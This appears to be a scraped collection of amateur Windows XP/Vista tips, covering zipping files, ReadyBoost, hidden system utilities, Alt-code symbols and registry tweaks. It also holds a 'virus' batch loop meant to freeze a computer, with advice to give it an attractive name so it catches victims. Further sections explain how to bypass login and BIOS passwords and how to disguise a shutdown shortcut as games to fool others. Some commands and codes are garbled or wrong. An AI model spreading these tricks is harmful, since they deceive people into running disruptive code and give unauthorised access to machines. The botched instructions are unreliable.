How To Zip a File

Files have always grown bigger and bigger and they will continue to grow bigger in future as well. However, your storage media cannot grow with the same rate as that of the file growth rate. Even if you have lots of free space available, it would be pointless to waste it by storing files of enormous size. So how do you optimize on saving space then? Well the answer is simple! Just Zip your files!

Zipping a file means compressing a file so that it occupies less space on your storage media such as hard drive or DVD. This will not only save you on disk space but also help you organize your data in a much more efficient way and make your computer work faster! Zipping files is often what people do when they want to send large files by emails or upload large files to there website where there is not a lot of room to upload a whole big file.

So, back to the question how to Zip a file? You can do this is in 3 simple easy steps which are shown below and show you the best way to unzip a file.

1. Step One

Go to the file that you want to be zipped/compressed. In case of two or more files, add them in one folder and rename the folder to whatever you want it to be called.

2. Step Two

Right click on the file or folder depending on what you choose as per step one followed by ‘Send to’ and then selecting ‘Compressed Zip Folder’. This feature is in built into Windows XP and the higher versions so you will not have to download any programs although the program built into Windows has limited tool that you can use. Now you have to go and right click the file and then click zip file. You now should have a zipped file but if you are not using windows you will have to download and install a program such as winzip which allows you to zip programs in a flash. If you are going to use winzip you have to right click the file and choose send to and then you will need to find winzip in the list now you can go into winzip and click zip files it will now zip the files for you and they will be ready to be unzipped.

3. Step Three

The zipped file that you would get after compression would be a .zip file and a copy of your contents. You can either choose to delete your original files/folder or just let it remain, as per your convenience. The zipped file won’t need those original files anymore now. Also, the outcome would be only one zip file no matter how many files you zip. When you unzip the file, you would get all your files as they were before zipping. Now all you have to do is upload it to what ever your going to be using to carry the files and you have now finished zipping the file.

Transform Your Photos Into Pencil Sketches

Do you want to give some special effects to your pic, but don’t know how?? Don’t worry, you can easily make your photo look different with this easy to use tool named Fotosketcher.

Fotosketcher is a free and small but useful app which can help you to give some special effectsto your pic. Once you install this app you can give different type of special efects to your photos like water-color effect , pencil effect or painting effect

This program can run on almost all Windows version and is really good

if you like its features and want to give it a try then you can download it from here. It’s free.

DOWNLAOD FOTOSKETCHER (3.1MB)

Add sound to almost every event in Windows

XP comes with a new set of sounds that will surely add pizzazz to the way you work in Windows. But there's one problem -- you need to actually turn on the Windows default sound scheme before you'll be able to hear them.


To turn on the Windows XP default sound scheme, follow these directions:

Single-click the Start menu.
Single-click the Control Panel.
Single-click the Sounds, Speech, and Audio Devices icon.
Single-click the Sounds and Audio Devices icon or the text labeled "Change the sound scheme."
Make sure you're on the Sound tab and locate the pull-down menu under Sound scheme.
Select the Windows Default option and press Apply. Windows will ask you if you want to save the previous sound scheme. Since there wasn't a sound scheme already loaded, just choose No.

If you look under the text labeled "Program events," you'll be able to sample your new sounds or customize them with your own. Read Customize Events Sounds if you'd like to learn how to do this yourself.

Remove the Recycle Bin from the Desktop (in XP)

If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together.

Run Regedit and go to:

HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace

Click on the "Recycle Bin" string in the right hand pane. Hit Del, click OK.

How To Use USB FlashDrives As RAM (VISTA ONLY)

Windows Vista has a new performance feature called ReadyBoost. This feature enables the use of a USB storage device instead of the slow paging file on your hard disk when you're low on physical memory (RAM). The logic is simple - the USB storage device is faster than your hard disk drive.

In order for ReadyBoost to work in Windows Vista, your USB storage device must meet the following requirements:
- the device must have at least 64MB storage.
- the device must be USB 2.0 compatible.
- the device must have a minimum read speed of 3.5 MB/s.
- the device must have a minimum write speed of 2.5 MB/s.


Follow these steps to enable ReadyBoost:
1. Plug in USB storage device.
2. Go to Computer, right-click on the removable storage device and select Properties.
3. Click on the ReadyBoost tab.
4. Select Use This Device and set the amount of space to use for the system file.
5. Click OK.

Hidden Applications in Windows

In windows there is many hidden applications.

To run any of these apps go to Start > Run and type the executable name (ie charmap).

1) Character Map = charmap.exe (very useful for finding unusual characters)

2) Disk Cleanup = cleanmgr.exe

3) Clipboard Viewer = clipbrd.exe (views contents of Windows clipboard)

4) Dr Watson = drwtsn32.exe (Troubleshooting tool)

5) DirectX diagnosis = dxdiag.exe (Diagnose & test DirectX, video & sound cards)

6) Private character editor = eudcedit.exe (allows creation or modification of characters)

7) IExpress Wizard = iexpress.exe (Create self-extracting / self-installing package)

8) Microsoft Synchronization Manager = mobsync.exe (appears to allow synchronization of files on the network for when working offline. Apparently undocumented).

9) Windows Media Player 5.1 = mplay32.exe (Retro version of Media Player, very basic).

10) ODBC Data Source Administrator = odbcad32.exe (something to do with databases)

11) Object Packager = packager.exe (to do with packaging objects for insertion in files, appears to have comprehensive help files).

12) System Monitor = perfmon.exe (very useful, highly configurable tool, tells you everything you ever wanted to know about any aspect of PC performance, for uber-geeks only )

13) Program Manager = progman.exe (Legacy Windows 3.x desktop shell).

14) Remote Access phone book = rasphone.exe (documentation is virtually non-existant).

15) Registry Editor = regedt32.exe [also regedit.exe] (for hacking the Windows Registry).

16) Network shared folder wizard = shrpubw.exe (creates shared folders on network).

17) File siganture verification tool = sigverif.exe

18) Volume Contro = sndvol32.exe (I've included this for those people that lose it from the System Notification area).

19) System Configuration Editor = sysedit.exe (modify System.ini & Win.ini just like in Win98! ).

20) Syskey = syskey.exe (Secures XP Account database - use with care, it's virtually undocumented but it appears to encrypt all passwords, I'm not sure of the full implications).

21) Microsoft Telnet Client = telnet.exe

22) Driver Verifier Manager = verifier.exe (seems to be a utility for monitoring the actions of drivers, might be useful for people having driver problems. Undocumented).

23) Windows for Workgroups Chat = winchat.exe (appears to be an old NT utility to allow chat sessions over a LAN, help files available).

24) System configuration = msconfig.exe (can use to control starup programs)

25) gpedit.msc used to manage group policies, and permissions

How to create a virus

Using notepad,u can even create a trojan virus... But now I'm going to teach one of my personal favourite virus-NOTEPAD MULTIPLIER
Just do the following steps in your PC
Open notepad..
Type
'@echo off
:start
open notepad
goto start'
(no inverted commas)
save it as notepad multiplier.bat
and you're done.

Open it and you'll see a thousand notepads,and will go on opening until ur computer gets freezed.
Do name it attractively to catch many people ;)

Keyboard hidden symbols

There are lots of hidden symbols in ur keyboard...for example have'nt u noticed the TM symbol,copyright symbol,registered symbol,music notes etc. To get these symbols,just hold the alt key in your keyboard and type any number on the numpad on the right of the keyboard (dont use the nums on the top of alphabets,laptop users can use 'on-screen keyboard) and leave the alt key.
Eg:

alt+O169 = ©

alt+0153 = ™
alt+0174 = ®
alt+0188 = ¼
alt+0189 = ½
alt+0190 = ¾
alt+0191 = ¿

alt+1=☺

alt+2=☻

alt+3=♥

alt+4=♦

alt+5=♣

alt+6=♠

alt+7=•

alt+8=◘

alt+9=○

alt+10=◙

alt+11=♂

alt+12=♀

alt+13=♪

alt+14=♫

alt+15=☼

Lock your desktop wallpaper

Are you tired of setting your favourite picture as wallpaper everytime when others who use the pc change them? No more worry,here's a simple trick for xp users
>goto 'run'.
>type 'gpedit.msc'
>goto 'adminstrator policy'
>browse yourself and find what you can do with your computer....

you can do any thing and everything in your computer using gpedit

Nameless folders in PC!!!

You can create nameless folder....yeah.
What you are supposed to do is -
Select the desired folder.
Press f2 or click rename
Hold [alt] key while typing 0160

You can also type
Alt + 255

Break XP user password

Are you locked up with a start up password?
Well,have some fun! Open your computer. Press F8 button repeatedly before booting to open boot mode page. Select safe mode. In the previous windows version,you can logg in to user account without typing password,but its blocked in Vista. Now goto run. Type
"controluserpassword2"
check on the administrator account and click on reset.

There's another method. On the password screen,press alt + ctrl + del .
Now type 'administrator' on the user tab.
Ok. Done! Now goto run and reset the password.
But it wont work if the user account is an administrator account

Hack Computer BIOS password!

Have you forgotten your bios or cmos password? Or are you looking for hacking them. Its easy if you have a screw driver!!
First, a question,why dont computer forget the bios password,or time,date even if we keep it unplugged for a long time.
Yeah,it has got some power back up,or a battery inside it. Have you noticed a small coin sized battery on the mother board of your computer.
Remove it,rub it and after sometime,keep it back!
You're done! Now start happy computing!!

The Bios password is stored in CMOS memory that is maintained by the battery in the motherboard. So we attack the battery !

Shutdown Shortcut!

Create shortcuts of shutdown in your desktop. Rename them as games or songs and fool your friends!! Its simple
Right click on the desktop>new>shortcut
Type 'shutdown -s'
Click next
Name the icon as games or anything...